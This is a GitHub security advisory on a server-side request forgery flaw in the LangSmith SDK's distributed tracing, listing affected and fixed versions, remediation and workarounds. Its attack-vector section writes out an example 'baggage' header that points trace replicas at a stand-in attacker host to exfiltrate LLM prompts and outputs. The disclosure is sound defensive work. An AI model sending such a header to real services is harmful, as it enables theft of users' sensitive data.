GHSA-v34v-rq6j-cj6p LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

• PyPI langsmith: >= 0.4.10, < 0.6.3 → fixed in 0.6.3 • npm langsmith: >= 0.3.41, < 0.4.6 → fixed in 0.4.6

Summary The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints. --- Description When using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields. Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker. --- Attack Vector 1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header: ``` baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}] ``` 2. The service parses the header via `RunTree.from_headers()`, storing the attacker's URL 3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil` --- Impact • Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers • SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services --- Affected Use Cases Applications are vulnerable if they: • Use `TracingMiddleware` to automatically propagate tracing context • Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers --- Remediation Update to the patched versions: • Python: `pip install langsmith>=0.6.3` • JavaScript: `npm install langsmith@>=0.4.6` The fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields. --- Workarounds If unable to upgrade immediately: • Strip or validate the `baggage` header before passing to `from_headers()` • Do not use `TracingMiddleware` with untrusted traffic